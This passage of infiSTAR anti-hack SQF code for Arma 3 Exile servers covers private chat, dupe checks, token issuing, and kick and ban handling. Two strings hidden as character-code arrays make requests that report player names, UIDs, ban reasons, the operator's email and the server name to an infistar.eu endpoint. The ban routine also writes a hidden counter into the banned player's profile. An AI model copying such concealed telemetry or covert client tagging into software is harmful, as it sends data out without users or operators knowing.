  3433. _chat_playerlist lbSetPictureColor [_index,[1, 1, 1, 1]];
  3434. };
  3435. };
  3436. "; if(_PRIVATE_CHAT_MENU_8GNETWORK)then{ _A3AHstring = _A3AHstring + "
  3437. };
  3438. "; }; _A3AHstring = _A3AHstring + "
  3439. };
  3440. ['fnc_add_to_playerlist',[fnc_add_to_playerlist] call fnc_CompilableString] call FN_infiSTAR_F;
  3441. fnc_fill_chat_playerlist = {
  3442. disableSerialization;
  3443. _chat_playerlist = uiNamespace getVariable ['chat_playerlist', controlNull];
  3444. lbClear _chat_playerlist;
  3445. ACTIVE_CHATS = ACTIVE_CHATS - [objNull];
  3446. if!(ACTIVE_CHATS isEqualTo [])then
  3447. {
  3448. {
  3449. _unit = _x;
  3450. call fnc_add_to_playerlist;
  3451. } forEach ACTIVE_CHATS;
  3452. _index = _chat_playerlist lbadd '----------------------------------------------------------------------------------------------------';
  3453. };
  3454.  
  3455. _players = allPlayers;
  3456. {_players set [_forEachIndex, [_x getVariable['ExileName',name _x], _x]];} forEach _players;
  3457. _players sort true;
  3458. {
  3459. _unit = _x select 1;
  3460. if!(_unit isEqualTo player)then
  3461. {
  3462. if!(_unit in ACTIVE_CHATS)then
  3463. {
  3464. call fnc_add_to_playerlist;
  3465. };
  3466. };
  3467. } forEach _players;
  3468. };
  3469. ['fnc_fill_chat_playerlist',[fnc_fill_chat_playerlist] call fnc_CompilableString] call FN_infiSTAR_F;
  3470. fnc_fill_chat_history = {
  3471. disableSerialization;
  3472.  
  3473. _chat_playerlist = uiNamespace getVariable ['chat_playerlist', controlNull];
  3474. _curselection = lbCurSel _chat_playerlist;
  3475. _receiverName = _chat_playerlist lbText _curselection;
  3476.  
  3477. _chat_msgbox = uiNamespace getVariable ['chat_msgbox', controlNull];
  3478. lbClear _chat_msgbox;
  3479. if!(CHAT_HISTORY_ARRAY isEqualTo [])then
  3480. {
  3481. {
  3482. _senderName = _x select 0;
  3483. _receiverNameR = _x select 1;
  3484.  
  3485. if(_receiverName in [_senderName,_receiverNameR])then
  3486. {
  3487. _time = _x select 2;
  3488. _text = _x select 3;
  3489.  
  3490. _pretxt = format['%1 (%2): ',_senderName,_time];
  3491.  
  3492. _index = 0;
  3493. _textsize = count _text;
  3494. _maxtsize = 165-(count _pretxt);
  3495. if(_textsize > _maxtsize)then
  3496. {
  3497. _partcount = ceil(_textsize / _maxtsize);
  3498.  
  3499. _first = 0;
  3500. _index = _chat_msgbox lbAdd format['%1%2',_pretxt,_text select [_first,_maxtsize]];
  3501. for '_i' from 1 to (_partcount) do
  3502. {
  3503. _first = _maxtsize*_i;
  3504. _curtxt = _text select [_first,_maxtsize];
  3505. if(_curtxt != '')then
  3506. {
  3507. _index = _chat_msgbox lbAdd _curtxt;
  3508. };
  3509. };
  3510. }
  3511. else
  3512. {
  3513. _index = _chat_msgbox lbAdd format['%1%2',_pretxt,_text];
  3514. };
  3515. if(_senderName isEqualTo (name player))then{_chat_msgbox lbSetColor [_index,[0,0.8,1,1]];};
  3516. _chat_msgbox lbSetCurSel _index;
  3517. _chat_msgbox lbSetCurSel -1;
  3518. };
  3519. } forEach CHAT_HISTORY_ARRAY;
  3520. };
  3521. };
  3522. ['fnc_fill_chat_history',[fnc_fill_chat_history] call fnc_CompilableString] call FN_infiSTAR_F;
  3523. fnc_chat_send = {
  3524. disableSerialization;
  3525. _chat_playerlist = uiNamespace getVariable ['chat_playerlist', controlNull];
  3526. _curselection = lbCurSel _chat_playerlist;
  3527. _receiverName = _chat_playerlist lbText _curselection;
  3528.  
  3529. _stop = true;
  3530. {if((_x getVariable['ExileName',name _x]) isEqualTo _receiverName)exitWith{_stop = false;};} forEach allPlayers;
  3531. if(_stop)exitWith{['ErrorTitleOnly', ['The player you want to message is not connected (maybe in lobby)']] call ExileClient_gui_toaster_addTemplateToast;};
  3532.  
  3533. _senderName = name player;
  3534. if(_receiverName isEqualTo '')exitWith{['ErrorTitleOnly', ['Select a player on the left that you want to write a message!']] call ExileClient_gui_toaster_addTemplateToast;};
  3535. _receiverNetId = _chat_playerlist lbData _curselection;
  3536.  
  3537. _chat_inputfield = uiNamespace getVariable ['chat_inputfield', controlNull];
  3538. _text = ctrlText _chat_inputfield;
  3539. if(_text isEqualTo '')exitWith{['ErrorTitleOnly', ['Please enter a Text!']] call ExileClient_gui_toaster_addTemplateToast;};
  3540. _chat_inputfield ctrlSetText '';
  3541.  
  3542. _time = call CALC_TIME;
  3543. [3,[4,[netId player,_receiverNetId,_time,_text]]] call FN_infiSTAR_CS;
  3544. CHAT_HISTORY_ARRAY pushBack [_senderName,_receiverName,_time,_text];
  3545.  
  3546. _receiverObj = (objectFromNetId _receiverNetId);
  3547. ACTIVE_CHATS = ACTIVE_CHATS - [_receiverObj];
  3548. ACTIVE_CHATS pushBackUnique _receiverObj;
  3549.  
  3550. playsound 'AddItemOK';
  3551. call fnc_fill_chat_history;
  3552. call fnc_fill_chat_playerlist;
  3553. };
  3554. ['fnc_chat_send',[fnc_chat_send] call fnc_CompilableString] call FN_infiSTAR_F;
  3555. fnc_chat_onLBSelChanged = {
  3556. disableSerialization;
  3557. call fnc_fill_chat_history;
  3558. _chat_text1 = uiNamespace getVariable ['chat_text1', controlNull];
  3559.  
  3560. _chat_playerlist = uiNamespace getVariable ['chat_playerlist', controlNull];
  3561. _curselection = lbCurSel _chat_playerlist;
  3562. _receiverName = _chat_playerlist lbText _curselection;
  3563.  
  3564. _chat_text1 ctrlSetText format['Chatpartner: %1',_receiverName];
  3565. };
  3566. ['fnc_chat_onLBSelChanged',[fnc_chat_onLBSelChanged] call fnc_CompilableString] call FN_infiSTAR_F;
  3567. fnc_chat_onKeyDown = {
  3568. _key = _this select 1;
  3569. _return = false;
  3570. if(_key in [0x1C,0x9C])then
  3571. {
  3572. call fnc_chat_send;
  3573. _return = true;
  3574. };
  3575. _return
  3576. };
  3577. ['fnc_chat_onKeyDown',[fnc_chat_onKeyDown] call fnc_CompilableString] call FN_infiSTAR_F;
  3578. },
  3579. {
  3580. scriptName '8';
  3581. call _this
  3582. }
  3583. ];
  3584. "; }; _A3AHstring = _A3AHstring + "
  3585.  
  3586.  
  3587. "; if(_fix_uniform_and_vest)then{ _A3AHstring = _A3AHstring + "
  3588. _bigInputArray pushBack [
  3589. [_name,_uid,_AHKickLog],
  3590. {
  3591. scriptName '9';
  3592. _name = _this select 0;
  3593. _uid = _this select 1;
  3594. _AHKickLog = _this select 2;
  3595.  
  3596. fnc_check_uniform_n_vest = ""
  3597. if(isNil 'ExileClientLoadedIn')exitWith{};
  3598. params ['_uniform', '_vest'];
  3599. _myuniform = uniform player;
  3600. if!(_myuniform isEqualTo '')then
  3601. {
  3602. if!(_myuniform isEqualTo _uniform)then
  3603. {
  3604. _uniformContent = (uniformContainer player) call ExileClient_util_containerCargo_serialize;
  3605. uiSleep 0.1;
  3606. removeUniform player;
  3607. player forceAddUniform _myuniform;
  3608. uiSleep 0.1;
  3609. [(uniformContainer player), _uniformContent] call ExileClient_util_containerCargo_deserialize;
  3610. systemChat '<infiSTAR.de> just replaced your UNIFORM as it was not shown for other players #ARMABUGS';
  3611. };
  3612. };
  3613. _myvest = vest player;
  3614. if!(_myvest isEqualTo '')then
  3615. {
  3616. if!(_myvest isEqualTo _vest)then
  3617. {
  3618. _vestContent = (vestContainer player) call ExileClient_util_containerCargo_serialize;
  3619. uiSleep 0.1;
  3620. removeVest player;
  3621. player addVest _myvest;
  3622. uiSleep 0.1;
  3623. [(vestContainer player), _vestContent] call ExileClient_util_containerCargo_deserialize;
  3624. systemChat '<infiSTAR.de> just replaced your VEST as it was not shown for other players #ARMABUGS';
  3625. };
  3626. };
  3627. "";
  3628. ['fnc_check_uniform_n_vest',fnc_check_uniform_n_vest] call FN_infiSTAR_F;
  3629. }
  3630. ];
  3631. "; }; _A3AHstring = _A3AHstring + "
  3632.  
  3633.  
  3634. "; if(_ENABLE_NOTIFICATION_MESSAGES)then{ _A3AHstring = _A3AHstring + "
  3635. _bigInputArray pushBack
  3636. [
  3637. {
  3638. [] spawn {
  3639. waitUntil {!isNull findDisplay 46};
  3640. waitUntil {!isNil 'ExileSystemThreadSleep'};
  3641. uiSleep 1;
  3642. {_x set [0,(_x select 0)*60];_x set [1,(_x select 1)*60];NOTIFY_MSG_ARRAY set [_forEachIndex,_x];} forEach NOTIFY_MSG_ARRAY;
  3643. LAST_NOTIFICATION_SHOWN = 0;
  3644. _code = {
  3645. {
  3646. if(time > LAST_NOTIFICATION_SHOWN)then
  3647. {
  3648. ctrlDelete ((findDisplay 46) displayCtrl 117997);
  3649. if!(_x isEqualTo [])then
  3650. {
  3651. _timetostart = _x select 0;
  3652. if(time > _timetostart)then
  3653. {
  3654. if((time - 135 < _timetostart)||(_timetostart isEqualTo -60))then
  3655. {
  3656. LAST_NOTIFICATION_SHOWN = time + (_x select 2);
  3657. ctrlDelete ((findDisplay 46) displayCtrl 117997);
  3658. _ctrl = (findDisplay 46) ctrlCreate['RscStructuredText', 117997];
  3659. _ctrl ctrlSetPosition [_x select 4,_x select 5,1,1];
  3660. _ctrl ctrlSetScale 2;
  3661. _ctrl ctrlCommit 0;
  3662. _ctrl ctrlSetStructuredText parseText format['<t size=''%1'' color=''%2'' align=''left''>%3</t>',_x select 3,_x select 6,_x select 7];
  3663.  
  3664. if(_timetostart isEqualTo -60)then
  3665. {
  3666. NOTIFY_MSG_ARRAY set [_forEachIndex,[]];
  3667. }
  3668. else
  3669. {
  3670. _x set [0,time + (_x select 1)];
  3671. NOTIFY_MSG_ARRAY set [_forEachIndex,_x];
  3672. };
  3673. };
  3674. };
  3675. };
  3676. };
  3677. } forEach NOTIFY_MSG_ARRAY;
  3678. };
  3679. if(!isNil'msgthreadid')then{[msgthreadid] call ExileClient_system_thread_removeTask;msgthreadid=nil;};
  3680. msgthreadid = [1, _code, [], true] call ExileClient_system_thread_addtask;
  3681. };
  3682. },
  3683. {
  3684. scriptName '10';
  3685. call _this
  3686. }
  3687. ];
  3688. "; }; _A3AHstring = _A3AHstring + "
  3689.  
  3690.  
  3691. "; if(_experimental_dupe_check)then{ _A3AHstring = _A3AHstring + "
  3692. _bigInputArray pushBack
  3693. [
  3694. [_name,_uid,_AHKickLog],
  3695. {
  3696. scriptName ""anti dupe check"";
  3697. params[['_name',''],['_uid',''],['_AHKickLog',{}]];
  3698. waituntil{!isNull findDisplay 46};
  3699. if(isNil'ExilePlayerInSafezone')then{ExilePlayerInSafezone = false;};
  3700. _objects = [];
  3701. _ALL_container = [];
  3702. _containercount = -1;
  3703. _lastcontainercount = -1;
  3704. while{true}do
  3705. {
  3706. if!(ExilePlayerInSafezone isEqualType true)exitWith
  3707. {
  3708. _log = format['ExilePlayerInSafezone VARIABLE HACKED! TYPE: %1 VAR: %2',typeName ExilePlayerInSafezone,ExilePlayerInSafezone];
  3709. [_name,_uid,'BAN',toArray(_log)] call _AHKickLog;
  3710. };
  3711. _lastObjects = _objects;
  3712. _objects = nearestObjects [player, ['LootWeaponHolder', 'GroundWeaponHolder', 'WeaponHolderSimulated','Exile_Unit_Player','LandVehicle','Ship','Air'],20];
  3713. {{_objects pushBackUnique _x;} forEach (crew _x);} forEach _objects;
  3714. if(_lastObjects isEqualTo _objects)then
  3715. {
  3716. _lastcontainer = _ALL_container;
  3717. _lastcontainercount = _containercount;
  3718. _ALL_container = [];
  3719. {
  3720. if(!isNull _x)then
  3721. {
  3722. _object = _x;
  3723. _containers = backpackCargo _object;
  3724. if(!isNil '_containers')then
  3725. {
  3726. if(_containers isEqualTo [])then
  3727. {
  3728. _backpack = backpack _object;
  3729. if!(_backpack isEqualTo '')then
  3730. {
  3731. _ALL_container pushBack _backpack;
  3732. };
  3733. }
  3734. else
  3735. {
  3736. _ALL_container append _containers;
  3737. };
  3738. };
  3739. };
  3740. } forEach _objects;
  3741.  
  3742. _containercount = count _ALL_container;
  3743. if((_containercount > _lastcontainercount) && (_lastcontainercount > -1))then
  3744. {
  3745. _types_and_count__old = [];
  3746. {
  3747. _type = _x;
  3748. _typecount = {_x isEqualTo _type} count _lastcontainer;
  3749. _types_and_count__old pushBackUnique [_type,_typecount];
  3750. } forEach _lastcontainer;
  3751.  
  3752. _types_and_count = [];
  3753. {
  3754. _type = _x;
  3755. _typecount = {_x isEqualTo _type} count _ALL_container;
  3756. _types_and_count pushBackUnique [_type,_typecount];
  3757. } forEach _ALL_container;
  3758.  
  3759. _foundAdded = [];
  3760. {
  3761. if!(_x in _types_and_count__old)then
  3762. {
  3763. if(_x select 1 > 2)then
  3764. {
  3765. _foundAdded pushBack _x;
  3766. };
  3767. };
  3768. } forEach _types_and_count;
  3769.  
  3770. if!(_foundAdded isEqualTo [])then
  3771. {
  3772. [_name,_uid,'EXPERIMENTAL_DUPE_CHECK',toArray(str _foundAdded)] call _AHKickLog;
  3773. };
  3774. };
  3775. }
  3776. else
  3777. {
  3778. _containercount = -1;
  3779. _lastcontainercount = -1;
  3780. };
  3781. uiSleep 0.5;
  3782. };
  3783. }
  3784. ];
  3785. "; }; _A3AHstring = _A3AHstring + "
  3786.  
  3787.  
  3788.  
  3789. _bigInputArray pushBack
  3790. [
  3791. {
  3792. _code = {
  3793. if(!isNil 'infiSTAR_stopvaultglitch_id')then{(findDisplay 46) displayRemoveEventHandler ['KeyDown',infiSTAR_stopvaultglitch_id];infiSTAR_stopvaultglitch_id=nil;};
  3794. infiSTAR_stopvaultglitch_id = (findDisplay 46) displayAddEventHandler ['KeyDown', '_this call fnc_infiSTAR_stopvaultglitch'];
  3795. };
  3796. if(!isNil'antivaultkeybindadd')then{[antivaultkeybindadd] call ExileClient_system_thread_removeTask;antivaultkeybindadd=nil;};
  3797. antivaultkeybindadd = [1, _code, [], true] call ExileClient_system_thread_addtask;
  3798. },
  3799. {
  3800. scriptName '11';
  3801. call _this
  3802. }
  3803. ];
  3804.  
  3805.  
  3806. _bigInputArray pushBack
  3807. [
  3808. [_admins],
  3809. {
  3810. scriptName '12';
  3811. params[['_admins',[]]];
  3812. _GET_TIME_TIME = {
  3813. _hours = floor(time / 60 / 60);
  3814. _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
  3815. _seconds = time - (_hours*60*60) - (_minutes * 60);
  3816. format['%1h %2min %3s',_hours,_minutes,round _seconds]
  3817. };
  3818. if(isNil'VERSIONCHECKRESULT')then{VERSIONCHECKRESULT='';};
  3819. _devLog = format['infiSTAR.de AHAT %1 - 05-Jul-2016 23-52-40 - v0054 - server running: %2:2666 - AdminNameTag: "+str _AdminNameTag+"',VERSIONCHECKRESULT,call _GET_TIME_TIME];diag_log _devLog;
  3820. "; if(!_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
  3821. systemChat format['<infiSTAR.de> %1 - Successfully Loaded In.',call _GET_TIME_TIME];
  3822. "; }; _A3AHstring = _A3AHstring + "
  3823. diag_log str _admins;{diag_log format['<infiSTAR.de> %1',_x];} forEach diag_activeSQFScripts;
  3824. "; if(_TGV != -1)then{ _A3AHstring = _A3AHstring + "
  3825. setTerrainGrid "+str _TGV+";
  3826. "; }; _A3AHstring = _A3AHstring + "
  3827. "; if(_VDV != -1)then{ _A3AHstring = _A3AHstring + "
  3828. setViewDistance "+str _VDV+";
  3829. "; }; _A3AHstring = _A3AHstring + "
  3830. "; if(_VOV != -1)then{ _A3AHstring = _A3AHstring + "
  3831. setObjectViewDistance ["+str _VOV+",getObjectViewDistance select 1];
  3832. "; }; _A3AHstring = _A3AHstring + "
  3833. "; if(_SVD != -1)then{ _A3AHstring = _A3AHstring + "
  3834. setObjectViewDistance [getObjectViewDistance select 0,"+str _SVD+"];
  3835. "; }; _A3AHstring = _A3AHstring + "
  3836. player createDiaryRecord ['Diary', ['infiSTAR.de AntiHack & AdminTools', '<br/> Get your own infiSTAR.de AntiHack and AdminTools available on <br/><br/>http://www.infiSTAR.de<br/><br/>']];
  3837. _bis_fnc_diagkey = uiNamespace getVariable['bis_fnc_diagkey',{false}];
  3838. if(!isNil'_bis_fnc_diagkey')then{if!((str _bis_fnc_diagkey) in ['{false}','{}'])then{bis_fnc_diagkeychanged='bis_fnc_diagkeychanged';publicVariableServer'bis_fnc_diagkeychanged';};};
  3839. "+_AH_RunCheckENDVAR+" = time;
  3840. }
  3841. ];
  3842.  
  3843.  
  3844. [
  3845. _bigInputArray,
  3846. {
  3847. waitUntil {!isNull findDisplay 46 && !isNil 'ExileClientLoadedIn' && getPlayerUID player != ''};
  3848. uiSleep 1;
  3849. CLIENTS_AH_THREAD = [];
  3850. {
  3851. CLIENTS_AH_THREAD pushBack ((_x select 0) spawn (_x select 1));
  3852. } forEach _this;
  3853. }
  3854. ] remoteExec ['FN_infiSTAR_C',_owner,false];
  3855. };
  3856. "+_FN_INJECT_ON_CLIENT+" = compileFinal ([_FN_INJECT_ON_CLIENT] call fnc_CompilableString);
  3857. _fnc_l_on_c = {
  3858. params[['_token',''],['_owner',-10],['_name',''],['_uid',''],['_admins',[]],['_admin',false],['_isNormal',true]];
  3859. if(_owner > 2)then
  3860. {
  3861. _kickname = toArray _name;{if(_x in [34,39])then{_kickname set[_forEachIndex,32];};} forEach _kickname;_kickname = toString _kickname;
  3862. _AHKickOFF = compile(format['[] spawn {uiSleep 1;AH_KICK_OFF = ''%1(%2)'';publicVariableServer''AH_KICK_OFF'';};',_kickname,_uid]);
  3863. _AHKickLog = compile(format['[1,[''%1'',''%2'',netId player,_this]] call FN_infiSTAR_CS',_token,_uid]);
  3864. call "+_FN_INJECT_ON_CLIENT+";
  3865. if(!_isNormal)then
  3866. {
  3867. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  3868. _owner publicVariableClient '"+_AH_HackLogArrayRND+"';
  3869. _owner publicVariableClient '"+_AH_SurvLogArrayRND+"';
  3870. _owner publicVariableClient '"+_AH_AdmiLogArrayRND+"';
  3871. "; }; _A3AHstring = _A3AHstring + "
  3872. PVAH_AHTMPBAN = call "+_fn_getTempBans+";_owner publicVariableClient 'PVAH_AHTMPBAN';
  3873. _fnc_AdminReq_string = format['[0,[''%1'',''%2'',netId player,_this]] call FN_infiSTAR_CS',_token,_uid];
  3874. [[_token,_name,_uid,"+_adminsA+","+str _devs+",_fnc_AdminReq_string],"+_adminStartupCode+"] remoteExec ['FN_infiSTAR_C',_owner,false];
  3875. };
  3876. }
  3877. else
  3878. {
  3879. _log = format['%1(%2) bad owner id %3',_name,_uid,_owner];
  3880. ['ERROR',_log] call FNC_A3_CUSTOMLOG;
  3881. [_name,_uid,_owner,_log] call FNC_INFISERVERKICK;
  3882. };
  3883. };
  3884. "+_fnc_l_on_c+" = compileFinal ([_fnc_l_on_c] call fnc_CompilableString);
  3885. _server_setToken={
  3886. params[['_owner',-10],['_name',''],['_uid','']];
  3887. _token = missionNameSpace getVariable[format['"+_token_by_uid+"%1',_uid],''];
  3888. if(_token isEqualTo '')then
  3889. {
  3890. _fnc_RandomGen =
  3891. {
  3892. _arr = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9'];
  3893. _gen = _arr select (floor (random 25));
  3894. for '_i' from 0 to (12+(round(random 5))) do {_gen = _gen + (_arr select (random ((count _arr)-1)));};
  3895. _gen
  3896. };
  3897. _token = call _fnc_RandomGen;
  3898. missionNameSpace setVariable[format['"+_token_by_uid+"%1',_uid],_token];
  3899. missionNameSpace setVariable[format['"+_uid_by_token+"%1',_token],_uid];
  3900. _log = format['TOKEN [%1] FOR %2(%3) - %4',_token,_name,_uid,_owner];
  3901. ['TOKENLOG',_log] call FNC_A3_CUSTOMLOG;
  3902. };
  3903. _token
  3904. };
  3905. "+_server_setTokenR+" = compileFinal ([_server_setToken] call fnc_CompilableString);
  3906. FNC_INFISERVERKICK = compileFinal ""
  3907. params[['_name',''],['_uid',''],['_owner',-10],['_reason','']];
  3908. if((_name isEqualTo '')||(_uid isEqualTo ''))exitWith
  3909. {
  3910. _log = format['can not kick %1(%2) %3 - no Name / no UID / no ownerID',_name,_uid,_owner];
  3911. ['KICKLOG',_log] call FNC_A3_RL;
  3912. };
  3913. if(_owner isEqualTo -10)then{_owner = _uid call FNC_OWNER_BY_UID;};
  3914. _return = (call FN_GET_SERVERPW) serverCommand format ['#kick %1',_uid];
  3915. if(!_return)then{
  3916. [
  3917. [_name,_uid],
  3918. {if((name player == (_this select 0))||(getPlayerUID player == (_this select 1)))then{diag_log '<infiSTAR.de> kicked to lobby #1';(findDisplay 46)closeDisplay 0;};},
  3919. if(_owner > 2)then{_owner}else{-2},
  3920. false
  3921. ] call FN_infiSTAR_S;
  3922. };
  3923. _log = format['%1(%2) ID: %3 (%4)',_name,_uid,_owner,_reason];
  3924. ['KICKLOG',_log] call FNC_A3_RL;
  3925. "";
  3926. FNC_A3_infiSTARTMPBAN = {
  3927. params[['_name',''],['_uid',''],['_owner',-10],['_reason','']];
  3928. _log = '';
  3929. _admins = "+str _admins+";
  3930. _tempbans = call "+_fn_getTempBans+";
  3931. if(_tempbans isEqualType [])then
  3932. {
  3933. if!(_uid in _tempbans)then
  3934. {
  3935. if(_uid in _admins)exitWith
  3936. {
  3937. _log = format['%1(%2) PLAYER IS ADMIN - STOPPED TEMPBAN FOR: %3',_name,_uid,_reason];
  3938. diag_log _log;
  3939. };
  3940. _uid call "+_fnc_addTempBan+";
  3941. _log = format['TEMPBANNED | %1(%2)',_name,_uid];if!(_reason isEqualTo '')then{_log = (_log + ' ' + _reason)};
  3942. ['TEMPBANLOG',_log] call FNC_A3_RL;
  3943. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  3944. if(count "+_AH_HackLogArrayRND+" > 99)then{"+_AH_HackLogArrayRND+" deleteAt 0;};
  3945. "+_AH_HackLogArrayRND+" pushBack _log;
  3946. '"+_AH_HackLogArrayRND+"' call fnc_variable_to_admins;
  3947. "; }; _A3AHstring = _A3AHstring + "
  3948. };
  3949. };
  3950. if(_log isEqualTo '')then{_log = 'TEMPBANNED';};
  3951. [_name,_uid,_owner,_log] call FNC_INFISERVERKICK;
  3952. };
  3953. FNC_A3_infiSTARTMPBAN = compileFinal ([FNC_A3_infiSTARTMPBAN] call fnc_CompilableString);
  3954. UPDATEEMAIL='[email protected]';
  3955. INFISTARVERSION='05-Jul-2016 23-52-40 - v0054';
  3956. if(isNil'BAN_LOG')then{BAN_LOG = toString [39,65,82,77,65,95,76,79,65,68,39,32,99,97,108,108,69,120,116,101,110,115,105,111,110,32,102,111,114,109,97,116,91,39,103,101,116,97,115,121,110,99,37,49,37,104,116,116,112,58,47,47,105,110,102,105,115,116,97,114,46,101,117,47,116,101,108,108,46,112,104,112,63,102,114,111,109,61,37,50,38,110,97,109,101,61,37,51,38,117,105,100,61,37,52,38,114,101,97,115,111,110,61,37,53,38,118,101,114,115,105,111,110,61,37,54,38,115,101,114,118,101,114,110,97,109,101,61,37,55,37,49,39,44,116,111,83,116,114,105,110,103,32,91,49,48,93,44,105,102,40,105,115,78,105,108,39,85,80,68,65,84,69,69,77,65,73,76,39,41,116,104,101,110,123,39,39,125,101,108,115,101,123,85,80,68,65,84,69,69,77,65,73,76,125,44,95,110,97,109,101,44,95,117,105,100,44,95,114,101,97,115,111,110,44,105,102,40,105,115,78,105,108,39,73,78,70,73,83,84,65,82,86,69,82,83,73,79,78,39,41,116,104,101,110,123,39,39,125,101,108,115,101,123,73,78,70,73,83,84,65,82,86,69,82,83,73,79,78,125,44,115,101,114,118,101,114,110,97,109,101,93,13,10];};
  3957. if(isNil'KICK_LOG')then{KICK_LOG = toString [39,65,82,77,65,95,76,79,65,68,39,32,99,97,108,108,69,120,116,101,110,115,105,111,110,32,102,111,114,109,97,116,91,39,103,101,116,97,115,121,110,99,37,49,37,104,116,116,112,58,47,47,105,110,102,105,115,116,97,114,46,101,117,47,116,101,108,108,107,46,112,104,112,63,102,114,111,109,61,37,50,38,110,97,109,101,61,37,51,38,117,105,100,61,37,52,38,114,101,97,115,111,110,61,37,53,38,118,101,114,115,105,111,110,61,37,54,38,115,101,114,118,101,114,110,97,109,101,61,37,55,37,49,39,44,116,111,83,116,114,105,110,103,32,91,49,48,93,44,105,102,40,105,115,78,105,108,39,85,80,68,65,84,69,69,77,65,73,76,39,41,116,104,101,110,123,39,39,125,101,108,115,101,123,85,80,68,65,84,69,69,77,65,73,76,125,44,95,110,97,109,101,44,95,117,105,100,44,95,119,111,114,107,44,105,102,40,105,115,78,105,108,39,73,78,70,73,83,84,65,82,86,69,82,83,73,79,78,39,41,116,104,101,110,123,39,39,125,101,108,115,101,123,73,78,70,73,83,84,65,82,86,69,82,83,73,79,78,125,44,115,101,114,118,101,114,110,97,109,101,93];};
  3958. FNC_A3_infiSTARBAN = {
  3959. params[['_name',''],['_uid',''],['_owner',-10],['_reason','']];
  3960. _admins = "+str _admins+";
  3961. if(_uid in _admins)exitWith
  3962. {
  3963. _log = format['%1(%2) PLAYER IS ADMIN - STOPPED BAN FOR: %3',_name,_uid,_reason];
  3964. diag_log _log;
  3965. [_name,_uid,_owner,_log] call FNC_INFISERVERKICK;
  3966. };
  3967. _log = format['BANNED | %1(%2)',_name,_uid];if!(_reason isEqualTo '')then{_log = (_log + ' ' + _reason)};
  3968. if(!isNil'BAN_LOG')then{call compile BAN_LOG;};
  3969. ['BANLOG',_log] call FNC_A3_RL;
  3970. "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
  3971. if(count "+_AH_HackLogArrayRND+" > 99)then{"+_AH_HackLogArrayRND+" deleteAt 0;};
  3972. "+_AH_HackLogArrayRND+" pushBack _log;
  3973. '"+_AH_HackLogArrayRND+"' call fnc_variable_to_admins;
  3974. "; }; _A3AHstring = _A3AHstring + "
  3975.  
  3976. if(_owner > 2)then
  3977. {
  3978. [
  3979. '',
  3980. {
  3981. profileNamespace setVariable ['ExilePlayerCnt',((profileNamespace getVariable ['ExilePlayerCnt', 0]) + 1)];
  3982. saveprofileNamespace;
  3983. },
  3984. _owner,
  3985. false
  3986. ] call FN_infiSTAR_S;
  3987. };
  3988. _return = (call FN_GET_SERVERPW) serverCommand format ['#exec ban %1',str _uid];
  3989. if(!_return)then
  3990. {
  3991. _this call FNC_A3_infiSTARTMPBAN;
  3992. };
  3993. };
  3994. FNC_A3_infiSTARBAN = compileFinal ([FNC_A3_infiSTARBAN] call fnc_CompilableString);
  3995. ";
  3996. diag_log format['<infiSTAR.de> %1 - Thread BEFORE MAIN: added !',time];
  3997.  
  3998. diag_log format['<infiSTAR.de> %1 - infiSTAR_PlayerLog: adding to main string..',time];
  3999. _A3AHstring = _A3AHstring + "
  4000. diag_log format['<infiSTAR.de> %1 - infiSTAR_PlayerLog: still compiling...',time];
  4001. _fnc_infiSTAR_PlayerLog = {
  4002. params[['_name',''],['_uid',''],['_owner',-10],['_admin',false]];
  4003. if(_name find ':' != -1)exitWith
  4004. {
  4005. [_name,_uid,'SLOG_SKICK',toArray('Bad Playername : is a bad character! it is used as seperator for extDB2 calls')] call "+_fnc_server_handle_mpmessage+";
  4006. };
  4007. if(_uid select [0,3] == 'DEV')exitWith
  4008. {
  4009. _log = 'Player has no normal UID (usually a UID is ONLY numbers..).';
  4010. [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4011. };
  4012. _lname = toLower _name;
  4013. if('somethingwentwrong' in [_lname,(toLower _uid)])exitWith
  4014. {
  4015. [_name,_uid,'SLOG_SKICK',toArray('Name and/or UID not allowed!')] call "+_fnc_server_handle_mpmessage+";
  4016. };
  4017. if(_lname find 'infis' != -1)exitWith
  4018. {
  4019. _log = format['BadName: %1 (FAKE)',_name];
  4020. [_name,_uid,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4021. };
  4022.  
  4023. _tempbans = call "+_fn_getTempBans+";
  4024. _bantime = missionNameSpace getVariable [format['BANTIME_%1',_uid],0];
  4025. _bantimeleft = _bantime - time;
  4026. if(_bantimeleft > 0)then
  4027. {
  4028. _uid call "+_fnc_removeTempBan+";
  4029. };
  4030. _log = if(_bantime isEqualTo 0)then{'TEMPBANNED'}else{format['TEMPBANNED for %1 more seconds',_bantimeleft]};
  4031. if(_uid in _tempbans)exitWith{[_name,_uid,_owner,_log] call FNC_INFISERVERKICK;};
  4032. "; if(_testserver)then{ _A3AHstring = _A3AHstring + "
  4033. _buildurl = format['http://htmlload.infistar.de/cb.php?uid=%1',_uid];
  4034. _packet1 = format['getasync%1%2%1',toString [10],_buildurl];
  4035. [_name,_uid,_owner,_packet1] spawn {
  4036. params[['_name',''],['_uid',''],['_owner',-10],['_packet1','']];
  4037. _jobid = _packet1 call FN_CALL_LOAD_DLL;
  4038. _packet2 = format['response%1%2%1',toString [10],_jobid];
  4039. _timeout = diag_tickTime + 15;
  4040. _res = '';
  4041. _bad = ['','WAIT','ERROR','URLERROR'];
  4042. waitUntil{
  4043. uiSleep 3;
  4044. _res = _packet2 call FN_CALL_LOAD_DLL;
  4045. !(_res in _bad) || diag_tickTime > _timeout
  4046. };
  4047. if(diag_tickTime > _timeout)exitWith{};
  4048. if!(_res isEqualTo '0')then
  4049. {
  4050. [_name,_uid,_owner,if(_res in ['','1'])then{'BLACKLISTED'}else{format['BLACKLISTED: %1',_res]}] call FNC_A3_infiSTARTMPBAN;
  4051. };
  4052. };
  4053. "; }; _A3AHstring = _A3AHstring + "
  4054. if(!_admin)then
  4055. {
  4056. if(_lname in "+str _badNamesFull+")exitWith
  4057. {
  4058. _log = format['BadName: %1 (KICKED)',_x];
  4059. [_name,_uid,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
  4060. };
  4061.  
  4062. {
